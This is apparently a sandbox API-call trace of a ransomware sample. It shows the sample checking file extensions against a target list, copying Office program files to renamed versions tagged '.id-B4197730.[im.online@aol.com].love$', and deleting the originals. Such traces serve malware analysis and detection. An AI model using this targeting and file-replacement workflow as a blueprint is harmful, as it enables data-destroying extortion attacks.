[0108.857] lstrlenW (lpString=".xlsx") returned 5 [0108.857] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0108.857] lstrlenW (lpString=".ppt") returned 4 [0108.857] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0108.857] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0108.857] lstrlenW (lpString=".zip") returned 4 [0108.857] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0108.857] lstrlenW (lpString=".rar") returned 4 [0108.857] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0108.857] lstrlenW (lpString=".bz2") returned 4 [0108.857] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0108.857] lstrlenW (lpString=".7z") returned 3 [0108.857] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0108.857] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0108.857] lstrlenW (lpString=".dbf") returned 4 [0108.857] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0108.857] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0108.858] lstrlenW (lpString=".1cd") returned 4 [0108.858] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0108.858] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0108.858] lstrlenW (lpString=".jpg") returned 4 [0108.858] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0108.858] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0108.858] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0108.858] lstrlenW (lpString=".doc") returned 4 [0108.858] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0108.858] lstrlenW (lpString=".docx") returned 5 [0108.858] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0108.858] lstrlenW (lpString=".pdf") returned 4 [0108.858] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0108.858] lstrlenW (lpString=".xls") returned 4 [0108.858] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0108.858] lstrlenW (lpString=".xlsx") returned 5 [0108.858] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0108.858] lstrlenW (lpString=".ppt") returned 4 [0108.858] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0108.858] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0108.858] lstrlenW (lpString=".zip") returned 4 [0108.858] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0108.858] lstrlenW (lpString=".rar") returned 4 [0108.858] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0108.858] lstrlenW (lpString=".bz2") returned 4 [0108.859] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0108.859] lstrlenW (lpString=".7z") returned 3 [0108.859] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0108.859] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0108.859] lstrlenW (lpString=".dbf") returned 4 [0108.859] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0108.859] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0108.859] lstrlenW (lpString=".1cd") returned 4 [0108.859] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0108.859] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0108.859] lstrlenW (lpString=".jpg") returned 4 [0108.859] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0108.859] lstrcmpiW (lpString1=".VBS", lpString2=".love$") returned 1 [0108.859] lstrlenW (lpString="OSPP.VBS") returned 8 [0108.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0108.860] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=94467) returned 1 [0108.860] CloseHandle (hObject=0x2b8) returned 1 [0108.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs")) returned 0x20 [0108.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0108.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0108.860] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0108.860] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0108.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0108.861] GetLastError () returned 0x0 [0108.861] ReadFile (in: hFile=0x2b8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x17103, lpOverlapped=0x0) returned 1 [0108.867] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x17110, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x17110, lpOverlapped=0x0) returned 1 [0108.870] ReadFile (in: hFile=0x2b8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0108.870] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xe4, lpOverlapped=0x0) returned 1 [0108.870] SetEndOfFile (hFile=0x34c) returned 1 [0108.871] CloseHandle (hObject=0x34c) returned 1 [0108.874] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0108.874] SetEndOfFile (hFile=0x2b8) returned 1 [0108.876] CloseHandle (hObject=0x2b8) returned 1 [0108.877] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0108.877] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs")) returned 1 [0108.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0108.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0108.879] lstrlenW (lpString=".doc") returned 4 [0108.879] lstrcmpiW (lpString1=".doc", lpString2=".VBS") returned -1 [0108.879] lstrlenW (lpString=".docx") returned 5 [0108.879] lstrcmpiW (lpString1=".docx", lpString2="P.VBS") returned -1 [0108.879] lstrlenW (lpString=".pdf") returned 4 [0108.879] lstrcmpiW (lpString1=".pdf", lpString2=".VBS") returned -1 [0108.879] lstrlenW (lpString=".xls") returned 4 [0108.879] lstrcmpiW (lpString1=".xls", lpString2=".VBS") returned 1 [0108.879] lstrlenW (lpString=".xlsx") returned 5 [0108.879] lstrcmpiW (lpString1=".xlsx", lpString2="P.VBS") returned -1 [0108.879] lstrlenW (lpString=".ppt") returned 4 [0108.879] lstrcmpiW (lpString1=".ppt", lpString2=".VBS") returned -1 [0108.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0108.879] lstrlenW (lpString=".zip") returned 4 [0108.879] lstrcmpiW (lpString1=".zip", lpString2=".VBS") returned 1 [0108.879] lstrlenW (lpString=".rar") returned 4 [0108.879] lstrcmpiW (lpString1=".rar", lpString2=".VBS") returned -1 [0108.880] lstrlenW (lpString=".bz2") returned 4 [0108.880] lstrcmpiW (lpString1=".bz2", lpString2=".VBS") returned -1 [0108.880] lstrlenW (lpString=".7z") returned 3 [0108.880] lstrcmpiW (lpString1=".7z", lpString2="VBS") returned -1 [0108.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0108.880] lstrlenW (lpString=".dbf") returned 4 [0108.880] lstrcmpiW (lpString1=".dbf", lpString2=".VBS") returned -1 [0108.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0108.880] lstrlenW (lpString=".1cd") returned 4 [0108.880] lstrcmpiW (lpString1=".1cd", lpString2=".VBS") returned -1 [0108.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0108.880] lstrlenW (lpString=".jpg") returned 4 [0108.880] lstrcmpiW (lpString1=".jpg", lpString2=".VBS") returned -1 [0108.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0108.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0108.880] lstrlenW (lpString=".doc") returned 4 [0108.880] lstrcmpiW (lpString1=".doc", lpString2=".VBS") returned -1 [0108.880] lstrlenW (lpString=".docx") returned 5 [0108.880] lstrcmpiW (lpString1=".docx", lpString2="P.VBS") returned -1 [0108.880] lstrlenW (lpString=".pdf") returned 4 [0108.880] lstrcmpiW (lpString1=".pdf", lpString2=".VBS") returned -1 [0108.880] lstrlenW (lpString=".xls") returned 4 [0108.880] lstrcmpiW (lpString1=".xls", lpString2=".VBS") returned 1 [0108.880] lstrlenW (lpString=".xlsx") returned 5 [0108.880] lstrcmpiW (lpString1=".xlsx", lpString2="P.VBS") returned -1 [0108.881] lstrlenW (lpString=".ppt") returned 4 [0108.881] lstrcmpiW (lpString1=".ppt", lpString2=".VBS") returned -1 [0108.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0108.881] lstrlenW (lpString=".zip") returned 4 [0108.881] lstrcmpiW (lpString1=".zip", lpString2=".VBS") returned 1 [0108.881] lstrlenW (lpString=".rar") returned 4 [0108.881] lstrcmpiW (lpString1=".rar", lpString2=".VBS") returned -1 [0108.881] lstrlenW (lpString=".bz2") returned 4 [0108.881] lstrcmpiW (lpString1=".bz2", lpString2=".VBS") returned -1 [0108.881] lstrlenW (lpString=".7z") returned 3 [0108.881] lstrcmpiW (lpString1=".7z", lpString2="VBS") returned -1 [0108.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0108.881] lstrlenW (lpString=".dbf") returned 4 [0108.881] lstrcmpiW (lpString1=".dbf", lpString2=".VBS") returned -1 [0108.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0108.881] lstrlenW (lpString=".1cd") returned 4 [0108.881] lstrcmpiW (lpString1=".1cd", lpString2=".VBS") returned -1 [0108.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0108.881] lstrlenW (lpString=".jpg") returned 4 [0108.881] lstrcmpiW (lpString1=".jpg", lpString2=".VBS") returned -1 [0108.881] lstrcmpiW (lpString1=".XML", lpString2=".love$") returned 1 [0108.882] lstrlenW (lpString="SLERROR.XML") returned 11 [0108.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0108.882] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=36336) returned 1 [0108.882] CloseHandle (hObject=0x2b8) returned 1 [0108.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml")) returned 0x20 [0108.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0108.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0108.883] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0108.883] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0108.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0108.883] GetLastError () returned 0x0 [0108.883] ReadFile (in: hFile=0x2b8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x8df0, lpOverlapped=0x0) returned 1 [0109.519] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x8e00, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x8e00, lpOverlapped=0x0) returned 1 [0109.521] ReadFile (in: hFile=0x2b8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0109.521] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xea, lpOverlapped=0x0) returned 1 [0109.521] SetEndOfFile (hFile=0x34c) returned 1 [0109.521] CloseHandle (hObject=0x34c) returned 1 [0109.524] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0109.524] SetEndOfFile (hFile=0x2b8) returned 1 [0109.525] CloseHandle (hObject=0x2b8) returned 1 [0109.525] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0109.525] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml")) returned 1 [0109.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0109.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0109.526] lstrlenW (lpString=".doc") returned 4 [0109.526] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0109.526] lstrlenW (lpString=".docx") returned 5 [0109.526] lstrcmpiW (lpString1=".docx", lpString2="R.XML") returned -1 [0109.526] lstrlenW (lpString=".pdf") returned 4 [0109.526] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0109.526] lstrlenW (lpString=".xls") returned 4 [0109.526] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0109.526] lstrlenW (lpString=".xlsx") returned 5 [0109.526] lstrcmpiW (lpString1=".xlsx", lpString2="R.XML") returned -1 [0109.526] lstrlenW (lpString=".ppt") returned 4 [0109.526] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0109.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0109.526] lstrlenW (lpString=".zip") returned 4 [0109.526] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0109.526] lstrlenW (lpString=".rar") returned 4 [0109.526] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0109.526] lstrlenW (lpString=".bz2") returned 4 [0109.526] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0109.527] lstrlenW (lpString=".7z") returned 3 [0109.527] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0109.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0109.527] lstrlenW (lpString=".dbf") returned 4 [0109.527] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0109.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0109.527] lstrlenW (lpString=".1cd") returned 4 [0109.527] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0109.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0109.527] lstrlenW (lpString=".jpg") returned 4 [0109.527] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0109.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0109.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0109.527] lstrlenW (lpString=".doc") returned 4 [0109.527] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0109.527] lstrlenW (lpString=".docx") returned 5 [0109.527] lstrcmpiW (lpString1=".docx", lpString2="R.XML") returned -1 [0109.527] lstrlenW (lpString=".pdf") returned 4 [0109.527] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0109.527] lstrlenW (lpString=".xls") returned 4 [0109.527] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0109.527] lstrlenW (lpString=".xlsx") returned 5 [0109.527] lstrcmpiW (lpString1=".xlsx", lpString2="R.XML") returned -1 [0109.527] lstrlenW (lpString=".ppt") returned 4 [0109.527] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0109.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0109.528] lstrlenW (lpString=".zip") returned 4 [0109.528] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0109.528] lstrlenW (lpString=".rar") returned 4 [0109.528] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0109.528] lstrlenW (lpString=".bz2") returned 4 [0109.528] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0109.528] lstrlenW (lpString=".7z") returned 3 [0109.528] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0109.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0109.528] lstrlenW (lpString=".dbf") returned 4 [0109.528] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0109.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0109.528] lstrlenW (lpString=".1cd") returned 4 [0109.528] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0109.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0109.528] lstrlenW (lpString=".jpg") returned 4 [0109.528] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0109.528] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0109.528] lstrlenW (lpString="AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 53 [0109.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0109.529] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=1261) returned 1 [0109.529] CloseHandle (hObject=0x2b8) returned 1 [0109.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml")) returned 0x220 [0109.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0109.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0109.529] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0109.529] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0109.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0109.530] GetLastError () returned 0x0 [0109.530] ReadFile (in: hFile=0x2b8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0109.532] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0109.533] ReadFile (in: hFile=0x2b8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0109.533] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x13e, lpOverlapped=0x0) returned 1 [0109.533] SetEndOfFile (hFile=0x34c) returned 1 [0109.533] CloseHandle (hObject=0x34c) returned 1 [0109.536] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0109.536] SetEndOfFile (hFile=0x2b8) returned 1 [0109.537] CloseHandle (hObject=0x2b8) returned 1 [0109.537] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0109.537] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml")) returned 1 [0109.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0109.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0109.538] lstrlenW (lpString=".doc") returned 4 [0109.538] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0109.538] lstrlenW (lpString=".docx") returned 5 [0109.538] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0109.538] lstrlenW (lpString=".pdf") returned 4 [0109.538] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0109.538] lstrlenW (lpString=".xls") returned 4 [0109.538] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0109.538] lstrlenW (lpString=".xlsx") returned 5 [0109.538] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0109.538] lstrlenW (lpString=".ppt") returned 4 [0109.538] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0109.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0109.538] lstrlenW (lpString=".zip") returned 4 [0109.538] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0109.539] lstrlenW (lpString=".rar") returned 4 [0109.539] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0109.539] lstrlenW (lpString=".bz2") returned 4 [0109.539] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0109.539] lstrlenW (lpString=".7z") returned 3 [0109.539] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0109.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0109.539] lstrlenW (lpString=".dbf") returned 4 [0109.539] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0109.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0109.539] lstrlenW (lpString=".1cd") returned 4 [0109.539] 